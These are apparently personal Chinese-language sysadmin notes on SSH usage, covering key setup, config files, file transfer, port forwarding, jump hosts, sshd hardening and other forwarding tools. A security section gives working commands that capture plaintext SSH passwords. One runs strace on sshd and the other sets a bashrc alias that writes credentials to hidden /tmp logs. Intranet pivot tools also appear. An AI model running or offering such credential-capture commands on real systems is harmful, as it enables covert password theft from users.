Last login: Fri May 22 18:53:04 2020 from 10.0.0.1
[root@centos6 ~]#exit
logout
Connection to 10.0.0.6 closed.
[root@centos8 ~]#ssh 10.0.0.77
Last login: Sat May 23 15:20:19 2020 from 10.0.0.1
[root@Centos7 ~]#exit
logout
Connection to 10.0.0.77 closed.

范例:如何实现三个主机之间互相的key验证

通过私钥生成公钥
chmod 600 id_rsa
ssh-keygen -y -f /path/to/private_key > /path/to/public_key.pub
chmod 644 id_rsa.pub
私钥格式转换

参考:https://www.mayanpeng.cn/archives/132.html

生成新的RSA-PEM格式公私密钥

ssh-keygen -m PEM -t rsa -b 4096

转换-Mac系统

# 安装 putty
brew install putty

#通过将密钥转换为PuTTy ppk格式然后再转换为RSA-PEM
# 转换为ppk格式
puttygen demo -o demo.ppk
# 转换为ras-pem格式
puttygen demo.ppk -O private-openssh -o demo.pem

转换-windos

安装putty,利用puttygen转换

客户端连接配置

参考: https://linux.die.net/man/5/ssh_config

.ssh/config

Host *
  StrictHostKeyChecking no
  IgnoreUnknown UseKeychain
  UseKeychain yes
  AddKeysToAgent yes
  IdentityFile ~/.ssh/id_rsa

如果 ~.ssh 目录中还有其他私钥,请 IdentityFile 为每个私钥添加一行

UseKeychain yes 是关键部分,它告诉SSH在OSX密钥链中查找密钥密码。

范例:远程切换root

Host 120
     StrictHostKeyChecking no
     HostName 172.21.39.120
     User wvalianty
     IdentityFile ~/.ssh/wvalianty.pem
     ProxyCommand ssh -q -W %h:%p aws_entry #-q only required on Mac
     RequestTTY yes
     RemoteCommand sudo su - #ssh 172.21.38.163 -o "RequestTTY=yes" sudo su -

Host Bombay
        HostName 13.126.25.152
        User jumper
        IdentityFile /root/jumper.pem
        ServerAliveInterval 60
        Compression yes
Host 172.21.*
        StrictHostKeyChecking no
        ProxyCommand ssh -q -W %h:%p Bombay
        User pfg
        IdentityFile /root/pfg.pem
        ServerAliveInterval 60
        Compression yes

LocalCommand

Specifies a command to execute on the local machine after successfully connecting to the server. The command string extends to the end of the line, and is executed with the user's shell. The following escape character substitutions will be performed: '%d' (local user's home directory), '%h' (remote host name), '%l' (local host name), '%n' (host name as provided on the command line), '%p' (remote port), '%r' (remote user name) or '%u' (local user name). This directive is ignored unless

sshpass -p 123456 ssh -o StrictHostKeyChecking=no [email protected]

其它ssh客户端工具

scp命令
scp [options] SRC... DEST/
#前面是源地址,后面是目标地址

两种方式:

scp [options] [user@]host:/sourcefile /destpath # 从远程拉取 远程有读权限
scp [options] /sourcefile [user@]host:/destpath # 推送到远程 远程有写权限

选项:

常用选项
-C 压缩数据流
-r 递归复制
-p 保持原文件的属性信息
-q 静默模式
-P PORT 指明remote host的监听的端口

其它选项:
-1:使用ssh v1版本,这是默认使用协议版本
-2:使用ssh v2版本
-l limit:限制拷贝速度,Kbit/s.
-o ssh_option:指定ssh连接时的特殊选项,一般用不上。偶尔在连接过程中等待提示输入密码较慢时,可以设置GSSAPIAuthentication为no
-v:输出详细信息,可以用来调试或查看scp的详细过程,分析scp的机制

范例

1.把本地文件/home/a.tar.tz拷贝到远程服务器192.168.0.2上的/home/tmp,连接时使用远程的root用户:
scp /home/a.tar.tz [email protected]:/home/tmp/

2.目标主机不写路径时,表示拷贝到对方的家目录下:
scp /home/a.tar.tz [email protected]

3.把远程文件/home/a.tar.gz拷贝到本机:
scp [email protected]:/home/a.tar.tz # 不接本地目录表示拷贝到当前目录
scp [email protected]:/home/a.tar.tz /tmp # 拷贝到本地/tmp目录下

4.拷贝远程机器的/home/目录到本地/tmp目录下。
scp -r [email protected]:/home/ /tmp

5.从远程主机192.168.100.60拷贝文件到另一台远程主机192.168.100.62上。
scp [email protected]:/tmp/copy.txt [email protected]:/tmp
rsync 命令

基于ssh和rsync协议实现高效率的远程系统之间复制文件,使用安全的shell连 接做为传输方式,比scp更快,基于增量数据同步,即只复制两方不同的文件, 此工具来自于rsync包

注意:通信两端主机都需要安装rsync软件

# 有无 / 问题
rsync -av /etc server1:/tmp     #复制目录和目录下文件
rsync -av /etc/ server1:/tmp    #只复制目录下文件

常用选项:

-n 模拟复制过程
-v 显示详细过程
-r 递归复制目录树
-p 保留权限
-t 保留修改时间戳
-g 保留组信息
-o 保留所有者信息
-l 将软链接文件本身进行复制(默认)
-L 将软链接文件指向的文件复制
-u 如果接收者的文件比发送者的文件较新,将忽略同步
-z 压缩,节约网络带宽
-a 存档,相当于–rlptgoD,但不保留ACL(-A)和SELinux属性(-X)
--delete 源数据删除,目标数据也自动同步删除

范例:更新有变化的文件,-u不覆盖新文件 --delete 同步删除

[root@centos8 ~]#rsync -auv --delete /data/test 10.0.0.7:/data
sftp命令

交互式文件传输工具,用法和传统的ftp工具相似,利用ssh服务实现安全的文件上传和下载

使用ls cd mkdir rmdir pwd get put等指令,可用?或help获取帮助信息

sftp [user@]host
sftp> help

ssh高级应用

SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。但是,SSH还 能够将其他 TCP 端口的网络数据通过 SSH链接来转发,并且自动提供了相应的 加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为SSH 为 其他 TCP链接提供了一个安全的通道来进行传输而得名。例如,Telnet,SMTP, LDAP 这些TCP应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传 输。而与此同时,如果工作环境中的防火墙限制了一些网络端口的使用,但是允 许SSH 的连接,也能够通过将 TCP 端口转发来使用 SSH 进行通讯

SSH 端口转发能够提供两大功能:

  • 加密 SSH Client 端至 SSH Server 端之间的通讯数据
  • 突破防火墙的限制完成一些之前无法建立的 TCP 连接

端口转发有三种使用方法:动态转发,本地转发,远程转发

工具:

mac工具:ssh tunnel

教程:阮一峰 https://wangdoc.com/ssh/port-forwarding.html

Linux端口转发的几种常用方法

  • SSH 端口转发
  • iptables 端口转发
  • firewall 端口转发
  • rinetd 端口转发
  • ncat 端口转发
  • socat 端口转发
  • portmap 端口转发

参考:https://cloud.tencent.com/developer/article/1688152

SSH本地端口转(特定场合会用到)

本地转发(local forwarding)指的是,SSH服务器作为中介的跳板机,建立本 地计算机与特定目标网站之间的加密连接。本地转发是在本地计算机的SSH 客户 端建立的转发规则。

它会指定一个本地端口(local-port),所有发向那个端口的请求,都会转发到 SSH 跳板机(tunnel-host),然后 SSH跳板机作为中介,将收到的请求发到目 标服务器(target-host)的目标端口(target-port)。

特点:本地执行ssh命令,本地打开端口连接ssh跳板机访问目标主机

SSH本地端口转发

ssh -L [local:]local-port:target-host:target-port tunnel-host  # local可省略

选项:

-L 表示本地转发 
-f 后台启用
-N 不打开远程shell,处于等待状态;即不执行远程命令(专门做端口转发)
-g 启用网关功能;修改sshd 配置GatewayPorts yes。本地转发端口默认绑定在回环地址上,只能使用localhost:port或127.0.0.1:port的形式,-g允许外界主机连接

范例:本地 2121 端口与目标网站 www.example.com 的80端口之间建立 SSH隧道, tunnel-host为SSH 跳板机

ssh -L 2121:www.example.com:80 tunnel-host -N
# 访问本机的2121端口,就是访问www.example.com的80端口
curl http://localhost:2121
注意,本地端口转发采用 HTTP 协议,不用转成 SOCKS5 协议。

范例:加密访问邮件获取协议 POP3

ssh -L 1100:mail.example.com:110 mail.example.com
# 将本机的1100端口,绑定邮件服务器mail.example.com的110端口(POP3 协议的默认端口)。端口转发建立以后,POP3 邮件客户端只需要访问本机的1100端口,请求就会通过 SSH 跳板机(这里是mail.example.com),自动转发到mail.example.com的110端口

范例:

本地150地址3366请求反代到远端222地址上的内网3306端口
[root@hd-test-all-01 ~]# ssh -p 10022 -Nf -L 192.168.1.150:3366:172.16.166.61:3306 [email protected]
[root@hd-test-all-01 ~]# ss -tnl|grep 3366
192.168.1.150:3366
[root@hd-test-all-01 ~]# mysql -h 192.168.1.150 -P 3366 -uspark -p
mysql> show databases;
+-----------------------+
| Database              |
+-----------------------+
| information_schema    |
| operational_analytics |

#当访问本机的9527的端口时,被加密后转发到sshsrv的ssh服务,再解密被转发到telnetsrv:23
#data<-->localhost:9527 <-->localhost:XXXXX<-->sshsrv:22<-->sshsrv:YYYYY<-->telnetsrv:23

ssh –L 9527:telnetsrv:23 -Nfg sshsrv
telnet 127.0.0.1 9527

范例:本地端口转发

image-20210120194923288.png
[root@centos8 ~]#ssh -fNL 9527:10.0.0.28:80 10.0.0.18
[root@centos8 ~]#curl 127.0.0.1:9527

范例:简易VPN

VPN用来在外网与内网之间建立一条加密通道。内网的服务器不能从外网直接访 问,必须通过一个跳板机,如果本机可以访问跳板机,就可以使用SSH 本地转发, 简单实现一个 VPN。

ssh -L 2080:corp-server:80 -L 2443:corp-server:443 tunnel-host -N
# 通过 SSH 跳板机,将本机的2080端口绑定内网服务器的80端口,本机的2443端口绑定内网服务器的443端口

如果经常使用本地转发,可以将设置写入 SSH客户端的用户个人配置文件 ( ~/.ssh/config

Host test.example.com
LocalForward client-IP:client-port server-IP:server-port

范例:

ssh -i ~/.ssh/coolio.example.key -f -N -L 9906:127.0.0.1:3306 [email protected]
#在本地9906端口与[email protected]之间建立一条隧道,隧道的出口是database.example.com的127.0.0.1:3306,也就是[email protected]收到本机的请求以后,转发给自己的3306端口。
#-f 后台启用
#-N 不打开远程shell,处于等待状态;即不执行远程命令(专门做端口转发)

#~/.ssh/config
Host tunnel
    User coolio
    HostName database.example.com
    Port 22
    IdentityFile ~/.ssh/coolio.example.key
    LocalForward 9906 127.0.0.1:3306

#command
ssh -f -N tunnel

参考:https://nerderati.com/2011/03/17/simplify-your-life-with-an-ssh-config-file/

级联及代理工具

范例:级联。北京到新加坡建立隧道,本地通过新加坡与孟买建立隧道

#~/.ssh/config
Host b-t-s #beijing to singapore  backend
    User jasper-xu
    HostName 3.xx.xx.xx
    IdentityFile ~/tmp/worker/jasper-xu.pem
    LocalForward 9101 4.xx.xx.xx:22
Host s-t-b # singapore to bombay backend
    User jasper-xu
    HostName 127.0.0.1
    Port 9101
    IdentityFile ~/tmp/worker/jasper-xu.pem
    LocalForward 9102 1.xx.xx.xx:22
Host t-ops
    User jasper-xu
    HostName 127.0.0.1
    Port 9102
    IdentityFile ~/tmp/worker/jasper-xu.pem
    LocalForward 8080 172.21.28.207:8080
    LocalForward 8848 172.21.39.120:8848
#----login--
Host bombay  # connnect bombay from local
    User jasper-xu
    HostName 127.0.0.1
    Port 9102
    IdentityFile ~/tmp/worker/jasper-xu.pem
Host 120  # connnect  172.21.39.120 from local
    User jasper-xu
    HostName 172.21.39.120
    #HostName 127.0.0.1
    Port ssh
    IdentityFile ~/tmp/worker/jasper-xu.pem
    ProxyCommand ssh -q -W %h:%p bombay #-q only required on Mac
    RequestTTY yes
    RemoteCommand sudo su -    
# 执行转发
ssh -f -N b-t-s
ssh -f -N s-t-b
ssh -f -N t-ops

# 验证1,登录bombay
ssh  bombay
[jasper-xu@ip-172-21-39-187 ~]$

# 验证2 访问8080
#浏览器访问:http://127.0.0.1:8080

# 验证3 跳板
> ssh 120
[root@ip-172-21-39-120 ~]#



> cat to-bombay.sh
#!/bin/zsh
ps -ef|grep '\-t\-' |awk '{print $2}'|  xargs kill
ssh -f -N b-t-s
ssh -f -N s-t-b
ssh -f -N t-stg

ssh tunnel工具

image-20211122140940050.png
image-20211122141019274.png

无法导入私钥:的私钥是新格式,不支持旧格式

brew install putty

puttygen ~/.ssh/id_rsa -O private-openssh -o a.pem

windows xshell 设置方法

beijing-to-singapore: ssh连接北京,本地隧道9101到新加坡ssh端口

image-20211217051955933.png
image-20211217052022361.png
image-20211217052042961.png
image-20211217052104728.png

singapore-to-bombay: ssh连接本地9101,本地隧道9102到孟买ssh端口

登录bombay:ssh连接本地9102端口

image-20211217052516313.png

登录120:通过bombay跳板到其它机器,ssh连接120机器,设置代理服务器连接本地9102端口

image-20211217052918501.png
image-20211217052906963.png
image-20211217052848391.png
创建到目标主机的持久化连接
ssh -MNf 用户名@主机

范例

ssh -p10022 -MNf -L 192.168.1.150:33061:172.16.166.61:3306 [email protected]
ssh -p10022 -MNf -L 192.168.1.150:54323:172.19.196.33:5432 [email protected]
ssh -p10022 -MNf -L 192.168.1.150:33306:172.16.166.13:3306 [email protected]

在后台创建到目标主机的持久化连接,将这个命令和你 ~/.ssh/config 中的配置结合使用:

Host host
ControlPath ~/.ssh/master-%r@%h:%p
ControlMaster no

所有到目标主机的SSH连接都将使用持久化SSH套接字,如果你使用SSH定期同步 文件(使用rsync/sftp/cvs/svn),这个命令将非常有用,因为每次打开一个 SSH连接时不会创建新的套接字。

代理工具 sshuttle

这是一个神器。hadoop这些集群没法通过单一的端口转发代理实现集群的访问, VPN有些太重,ubuntu下直接用 sudo apt install -y sshuttle 就可以安装 了。这个工具非常巧妙,利用iptables的端口转发功能,直接把指定目标网络的 请求通过ssh代理到远程,实现了非常类似于VPN的功能,但是几乎零配置,

例子:

sshuttle -r user@remote_ip 10.0.0.0/8

代表将10.0.0.0/8这个网段的请求走SSH代理,是不是很容易使用?此外,还支 持–dns,–auto-hosts, –auto-nets等十分有用的参数,根据实际情况去选用 即可。

sshuttle非常类似于VPN,但是比VPN更轻量,而且无需管理。值得注意的是,本 质上这个工具是利用了端口转发的原理,并不是真正的VPN,所以对于ICMP这类 的协议是没用的,也就是说,对于ping命令是无效的。

SSH远程端口转发

远程端口指的是在远程 SSH 服务器建立的转发规则。

这种场景比较特殊,主要针对内网的情况。本地计算机在外网,SSH跳板机和目 标服务器都在内网,而且本地计算机无法访问内网之中的 SSH跳板机,但是 SSH 跳板机可以访问本机计算机。

由于本机无法访问内网 SSH 跳板机,就无法从外网发起 SSH隧道,建立端口转 发。必须反过来,从 SSH跳板机发起隧道,建立端口转发,这时就形成了远程端 口转发。

特点:ssh跳板机执行ssh命令,本地打开端口连接ssh跳板机访问目标主机

ssh -R [local:]local-port:target-host:target-port local
# 首先需要注意,不是在本机执行的,而是在 SSH 跳板机执行的,从跳板机去连接本地计算机。-R参数表示远程端口转发,local-port是本地计算机的端口,target-host和target-port是目标服务器及其端口,local是本地计算机

示例:

# 跳板机执行下面的命令,绑定本地计算机的2121端口,去访问www.example.com:80
ssh -R 2121:www.example.com:80 local -N
curl http://localhost:2121

#让sshsrv侦听9527端口的访问,如有访问,就加密后通过ssh服务转发请求到本机ssh客户端,再由本机解密后转发到telnetsrv:23
#Data<-->sshsrv:9527<-->sshsrv:22<-->localhost:XXXXX<-->localhost:YYYYY<--
>telnetsrv:23

ssh –R 9527:telnetsrv:23 –Nf sshsrv

范例:远程端口转发并实现网关功能

image-20210120194948379.png

ssh跳板机从内向外发起主动连接,这样本地访问就不是从外面主动进来,就不 会被防火墙拦截了。

# 目标主机开启http服务
[root@lan-server ~]#yum -y install httpd;systemctl start httpd;echo website On 10.0.0.28 > /var/www/html/index.html

# 本地10.0.0.8开启ssh网关功能 GatewayPorts yes
[root@ssh-server ~]#vim /etc/ssh/sshd_config
GatewayPorts yes
[root@ssh-server ~]#systemctl restart sshd

# 跳板执行ssh策略
[root@ssh-client ~]#ssh -fNgR 9527:10.0.0.28:80 10.0.0.8
[email protected]'s password:

# 从其它服务器访问本地10.0.0.8端口
[root@centos6 ~]#curl 10.0.0.8:9527
website On 10.0.0.28
[root@centos7 ~]#curl 10.0.0.8:9527
website On 10.0.0.28

如果经常执行远程端口转发,可以将设置写入 SSH客户端的用户个人配置文件 ( ~/.ssh/config

Host test.example.com
RemoteForward local-IP:local-port target-ip:target-port

SSH动态端口转发

动态转发指的是,本机与 SSH服务器之间创建了一个加密连接,然后本机内部针 对某个端口的通信,都通过这个加密连接转发。它的一个使用场景就是,访问所 有外部网站,都通过SSH 转发。

动态转发需要把本地端口绑定到 SSH 服务器。至于 SSH服务器要去访问哪一个 网站,完全是动态的,取决于原始通信,所以叫做动态转发。

特点:本地执行ssh命令,本地打开端口连接ssh跳板机访问目标主机,目标主机 地址是动态的。

ssh -D local-port tunnel-host -N
#-D表示动态转发,local-port是本地端口,tunnel-host是 SSH 服务器,-N表示这个 SSH 连接只进行端口转发,不登录远程 Shell,不能执行远程命令,只能充当隧道
image-20210120195813397.png
#当用firefox访问internet时,本机的1080端口做为代理服务器,firefox的访问请求被转发到
sshserver上,由sshserver替之访问internet

ssh -D 1080 root@sshserver -fNg
# 这种转发采用了 SOCKS5 协议。访问外部网站时,需要把 HTTP 请求转成 SOCKS5 协议,才能把本地端口的请求转发出去

#在本机firefox设置代理socket proxy:127.0.0.1:1080
curl --socks5 127.0.0.1:1080 http://www.google.com

范例:动态端口转发实现科学上网方式1 ssh client端执行

image-20210120195833477.png
[root@centos8 ~]#ssh -fND 9527 10.0.0.18
image-20210120195855252.png

范例:动态端口转发实现科学上网方式2 减少成本, vps执行

image-20210120195908239.png
[root@vps ~]#ssh -gfND 9527 10.0.0.18
[root@centos6 ~]#curl --socks5 10.0.0.18:9527 http://10.0.0.28
google On 10.0.0.28
[root@centos7 ~]#curl --socks5 10.0.0.18:9527 http://10.0.0.28
google On 10.0.0.28

如果经常使用动态转发,可以将设置写入 SSH客户端的用户个人配置文件 ( ~/.ssh/config )。

DynamicForward tunnel-host:local-port

X 协议转发

所有图形化应用程序都是X客户程序,能够通过tcp/ip连接远程X服务器,数据没有 加密,但是它通过ssh连接隧道安全进行

#remotehost主机上的gedit工具,将会显示在本机的X服务器上,传输的数据将通过ssh连接加密
ssh -X user@remotehost gedit

范例:在windows上使用mobaXtrem的X server 显示 Linux 的图形工具

[root@centos ~]#yum install xorg-x11-xauth xorg-x11-fonts-* xorg-x11-font-utils xorg-x11-fonts-Type1 firefox
[root@centos ~]#exit
[root@centos ~]#firefox

范例:在windows上使用xshell的X server 显示 Linux 的图形工具

[root@centos ~]# export DISPLAY=10.0.0.1:0.0
[root@centos ~]# yum -y install xclock

跳转主机

有些服务器只能在内网访问。您可以使用网关服务器作为跳转主机,然后无需先 登录网关并ssh从那里运行。另一个好处是您不必在网关机器中存储凭据,例如 私钥,一切都像您直接登录目标机器一样。

~/.ssh/config

Host gateway
    ...

Host foobar
    HostName internal.machine
    User foobar
    IdentityFile ~/.ssh/foobar.pem
    ProxyJump gateway

代理也可以实现

Host bombay  # connnect bombay from local
    User jasper-xu
    HostName 127.0.0.1
    Port 9102
    IdentityFile ~/tmp/worker/jasper-xu.pem
Host 120  # connnect  172.21.39.120 from local
    User jasper-xu
    HostName 172.21.39.120
    #HostName 127.0.0.1
    Port ssh
    IdentityFile ~/tmp/worker/jasper-xu.pem
    ProxyCommand ssh -q -W %h:%p bombay #-q only required on Mac
    RequestTTY yes
    RemoteCommand sudo su -  

ssh服务器配置

服务器端:sshd

服务器端的配置文件: /etc/ssh/sshd_config

服务器端的配置文件帮助:man 5 sshd_config

常用参数:

#Port 22                # 服务端SSH端口,可以指定多条表示监听在多个端口上
#ListenAddress 0.0.0.0  # 监听的IP地址。0.0.0.0表示监听所有IP
Protocol 2              # 使用SSH 2版本

#####################################
#      ssh连接私钥保存位置           #
#####################################
# HostKey for protocol version 1
#HostKey /etc/ssh/ssh_host_key      # SSH 1保存位置/etc/ssh/ssh_host_key
# HostKeys for protocol version 2
#HostKey /etc/ssh/ssh_host_rsa_key  # SSH 2保存RSA位置/etc/ssh/ssh_host_rsa _key
#HostKey /etc/ssh/ssh_host_dsa_key  # SSH 2保存DSA位置/etc/ssh/ssh_host_dsa _key

###################################
#           杂项配置               #
###################################
#PidFile /var/run/sshd.pid        # 服务程序sshd的PID的文件路径
#ServerKeyBits 1024               # 服务器生成的密钥长度
#SyslogFacility AUTH              # 使用哪个syslog设施记录ssh日志。日志路径默认为/var/log/secure
#LogLevel INFO                    # 记录SSH的日志级别为INFO
Banner /path/file                 # 登录后提示信息

###################################
#   以下项影响认证速度               #
###################################
#UseDNS yes                       # 指定是否将客户端主机名解析为IP,以检查此主机名是否与其IP地址真实对应。默认yes。
                                  # 由此可知该项影响的是主机验证阶段。建议在未配置DNS解析时,将其设置为no,否则主机验证阶段会很慢
#GSSAPIAuthentication no          # 是否开启GSSAPI身份认证机制,默认为yes

###################################
#   以下是和安全有关的配置           #
###################################
#PermitRootLogin yes              # 是否允许root用户登录
#PubkeyAuthentication yes         # 是否开启基于key验证
#AuthorizedKeysFile  .ssh/authorized_keys  # 基于公钥认证机制时,来自客户端的公钥的存放位置
PasswordAuthentication yes        # 是否使用用户名和密码连接,如果使用密钥对验证可以关了它
#PermitEmptyPasswords no          # 是否允许空密码,如果上面的那项是yes,这里最好设置no
#MaxSessions 10                   # 同一个连接最大会话
#LoginGraceTime 2m                # 身份验证阶段的超时时间,若在此超时期间内未完成身份验证将自动断开
#MaxAuthTries 6                   # 指定每个连接最大允许的认证次数。默认值是6。
                                  # 如果失败认证次数超过该值一半,将被强制断开,且生成额外日志消息。
MaxStartups 10                    # 未认证连接最大值,默认值10。未验证即连接上不用输入密码
#MaxStartups 10:30:200            #表示从第10个连接开始以30%的概率(递增)拒绝新连接,直到连接数达到200为止
ClientAliveInterval 10            #服务器端向客户端请求消息 的时间间隔,单位:秒。0为不发送
ClientAliveCountMax 3             #服务器发出请求后客户端没有响应的次数达到一定值, 就自动断开,默认3

#以下可以限制可登录用户的办法:
AllowUsers user1 user2 user3
DenyUsers
AllowGroups
DenyGroups

###################################
#   以下可以自行添加到配置文件        #
###################################
DenyGroups  hellogroup testgroup  # 表示hellogroup和testgroup组中的成员不允许使用sshd服务,即拒绝这些用户连接
DenyUsers   hello test            # 表示用户hello和test不能使用sshd服务,即拒绝这些用户连接

###################################
#   以下一项和远程端口转发有关        #
###################################
#GatewayPorts no                  # 设置为yes表示sshd允许被远程主机所设置的本地转发端口绑定在非环回地址上
                                  # 默认值为no,表示远程主机设置的本地转发端口只能绑定在环回地址上,见后文"远程端口转发"

范例:设置ssh 空闲60s 自动注销

Vim /etc/ssh/sshd_config
ClientAliveInterval 60
ClientAliveCountMax 0

Service sshd restart
#注意:新开一个连接才有效

范例:解决ssh登录缓慢的问题

ssh连接包括两个阶段:公钥交换阶段和登录验证阶段。这两个阶段都可能导致连接速度慢。

具体是哪个阶段的速度慢,完全可以通过肉眼看出来:

  1. 卡着很久才提示保存host key肯定是公钥交换过程慢。
  2. 主机验证完成后卡着很久才提示输入密码,肯定是登录验证过程慢。

其中公钥交换过程慢的原因,可能是网络连接慢、DNS解析慢等原因。网络连接 慢,ssh对此毫无办法,而DNS解析慢,ssh是可以解决的,解决方法是将ssh服务 端的配置文件中UseDNS设置为no(默认为yes)。

而登录验证慢的原因,则考虑ssh的身份验证顺序: gssapi,host-based,publickey,keyboard-interactive,password。其中gssapi 认证顺序是比较慢的,所以解决方法一是在ssh客户端配置文件中将GSSAPI认证 机制给关掉,解决方法二是在ssh客户端配置文件中使用 PreferredAuthentications指令修改身份验证顺序。

vim /etc/ssh/sshd_config
UseDNS no
GSSAPIAuthentication no

systemctl restart sshd

范例:在 ubuntu 上启用root 远程ssh登录

#修改sshd服务配置文件
vim /etc/ssh/sshd_config
#PermitRootLogin prohibit-password 注释掉此行
PermitRootLogin yes 修改为下面形式

systemctl restart sshd

ssh服务的最佳实践

  • 建议使用非默认端口
  • 禁止使用protocol version 1
  • 限制可登录用户
  • 设定空闲会话超时时长
  • 利用防火墙设置ssh访问策略
  • 仅监听特定的IP地址
  • 基于口令认证时,使用强密码策略,比如: tr -dc A-Za-z0-9_ < /dev/urandom ​| head -c 12|xargs
  • 使用基于密钥的认证
  • 禁止使用空密码
  • 禁止root用户直接登录
  • 限制ssh的访问频度和并发在线数
  • 经常分析日志 /var/log/secure

其它端口转发方式

iptables 端口转发

entOS 7.0 以下使用的是iptables,可以通过iptables实现数据包的转发。

开启数据转发功能

vi /etc/sysctl.conf   
  #增加一行 net.ipv4.ip_forward=1
//使数据转发功能生效
sysctl -p

将本地的端口转发到本机端口:

iptables -t nat -A PREROUTING -p tcp --dport 2222 -j REDIRECT --to-port 22

将本机的端口转发到其他机器:

iptables -t nat -A PREROUTING -d 192.168.172.130 -p tcp --dport 8000 -j DNAT --to-destination 192.168.172.131:80
iptables -t nat -A POSTROUTING -d 192.168.172.131 -p tcp --dport 80 -j SNAT --to 192.168.172.130

#清空nat表的所有链
iptables -t nat -F PREROUTING
firewall 端口转发

CentOS 7.0以上使用的是firewall,通过命令行配置实现端口转发。

开启伪装IP:

firewall-cmd --permanent --add-masquerade

配置端口转发,将到达本机的12345端口的访问转发到另一台服务器的22端口。

firewall-cmd --permanent --add-forward-port=port=12345:proto=tcp:toaddr=192.168.172.131:toport=22

重新载入,使其失效。

firewall-cmd --reload
rinetd 本地端口转发

https://github.com/samhocevar/rinetd

Rinetd是为在一个Unix和Linux操作系统中为重定向传输控制协议(TCP)连接的一个工具

wget https://github.com/samhocevar/rinetd/releases/download/v0.73/rinetd-0.73.tar.gz
yum install automake gcc -y
tar xf rinetd-0.73.tar.gz
cd rinetd-0.73/
./bootstrap
./configure
make && make install

程序路径 /usr/sbin/rinetd

需要配置文件 /etc/rinetd.conf

配置文件格式很简单:

[Source Address] [Source Port] [Destination Address] [Destination Port]

在每一单独的行中指定每个要转发的端口。源地址和目的地址都可以是

主机名或IP 地址,IP 地址0.0.0.0 将rinetd 绑定到任何可用的本地IP地址上:

0.0.0.0 8080 www.aslibra.com 80
0.0.0.0 3306 192.168.1.77 3306
0.0.0.0 88 127.0.0.1 80

unit

cat <<\EOF >/usr/lib/systemd/system/rinetd.service
[Unit]
Description=rinetd
After=network.target

[Service]
Type=forking
ExecStart=/usr/local/sbin/rinetd -c /etc/rinetd.conf

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable rinetd
ncat 端口转发

netcat(简称nc)被誉为网络安全界的”瑞士军刀“,一个简单而有用的工具, 这里介绍一种使用netcat实现端口转发的方法。

安装ncat

yum install nmap-ncat -y

监听本机 9876 端口,将数据转发到 192.168.172.131的 80 端口

ncat --sh-exec "ncat 192.168.172.131 80" -l 9876  --keep-open
socat 端口转发

socat是一个多功能的网络工具,使用socat进行端口转发。 socat安装

yum install -y socat

在本地监听12345端口,并将请求转发至192.168.172.131的22端口。

socat TCP4-LISTEN:12345,reuseaddr,fork TCP4:192.168.172.131:22
portmap 端口转发

Linux 版的lcx,内网端口转发工具。

下载地址:

http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

监听本地1234端口,转发给192.168.172.131的22端口

./portmap -m 1 -p1 1234 -h2 192.168.172.131 -p2 22
08、portfwd端口转发
portfwd是meterpreter中内置的功能,也提供了单机版,用于TCP/UDP端口转发服务
Github 项目地址:
https://github.com/rssnsj/portfwd
(1)下载编译
git clone https://github.com/rssnsj/portfwd.git
cd portfwd/src
make
(2)将本地的12345端口转发到192.168.172.131:22


./tcpfwd 0.0.0.0:12345 192.168.172.131:22
09、NATBypass端口转发
一款lcx(htran)在golang下的实现
Gihub项目地址:
https://github.com/cw1997/NATBypass
(1)内网主机主动连接外网主机打通隧道
在目标机器上执行:nb -slave 127.0.0.1:3389 公网IP:51
在公网的机器执行:nb -listen 51 3340
在公网主机上连接 127.0.0.1:3340,即可连接上内网机器的3389端口。

安全相关

获取sshd进程明文密码
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

使用正在来匹配用户和密码

# 查找用户名和密码
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

# 结果形式如下
[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
收集ssh登陆凭证
# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令别名立即生效
source ~/.bashrc

通过grep 找到匹配行的后8行,可以根据密码长度调整行数

grep -A 9 'password' .ssh-25Sep091601017212.log

ssh 其它相关工具

挂载远程ssh目录 sshfs

由EPEL源提供,目前CentOS8 还没有提供,可以利用ssh协议挂载远程目录

[root@centos7 ~]#yum install fuse-sshfs
[root@centos7 ~]#sshfs 10.0.0.8:/data /mnt
[root@centos7 ~]#df /mnt
Filesystem      1K-blocks   Used    Available   Use%    Mounted on
10.0.0.8:/data  52403200    398576  52004624    1%      /mnt

自动登录ssh工具sshpass

由EPEL源提供,ssh登陆不能在命令行中指定密码。sshpass的出现,解决了这一 问题sshpass用于非交互SSH的密码验证,一般用在sh脚本中,无须再次输入密码 (本机known_hosts文件中有的主机才能生效)。它允许你用-p参数指定明文密 码,然后直接登录远程服务器,它支持密码从命令行、文件、环境变量中读取。

格式:

sshpass [option] command parameters

常见选项

-p password #后跟密码它允许你用 -p 参数指定明文密码,然后直接登录远程服务器
-f filename #后跟保存密码的文件名,密码是文件内容的第一行。
-e #将环境变量SSHPASS作为密码

范例:

[root@centos8 ~]#yum -y install sshpass
[root@centos8 ~]#rpm -ql sshpass
/usr/bin/sshpass
/usr/lib/.build-id
/usr/lib/.build-id/1f
/usr/lib/.build-id/1f/c5d6cf03500df846a1a801aab749f478845a4d
/usr/share/doc/sshpass
/usr/share/doc/sshpass/AUTHORS
/usr/share/doc/sshpass/COPYING
/usr/share/doc/sshpass/ChangeLog
/usr/share/doc/sshpass/NEWS
/usr/share/man/man1/sshpass.1.gz

[root@centos8 ~]# sshpass -p 123456 ssh -o StrictHostKeyChecking=no [email protected]
[root@centos8 ~]#sshpass -p 123456 ssh -o StrictHostKeyChecking=no 10.0.0.7 hostname -I
10.0.0.7
[root@centos8 ~]#sshpass -p 123456 ssh -o StrictHostKeyChecking=no 10.0.0.6 hostname -I
10.0.0.6

# 从文件读取密码
[root@centos8 ~]# cat pass.txt
123456
[root@centos8 ~]# sshpass -f pass.txt ssh [email protected]
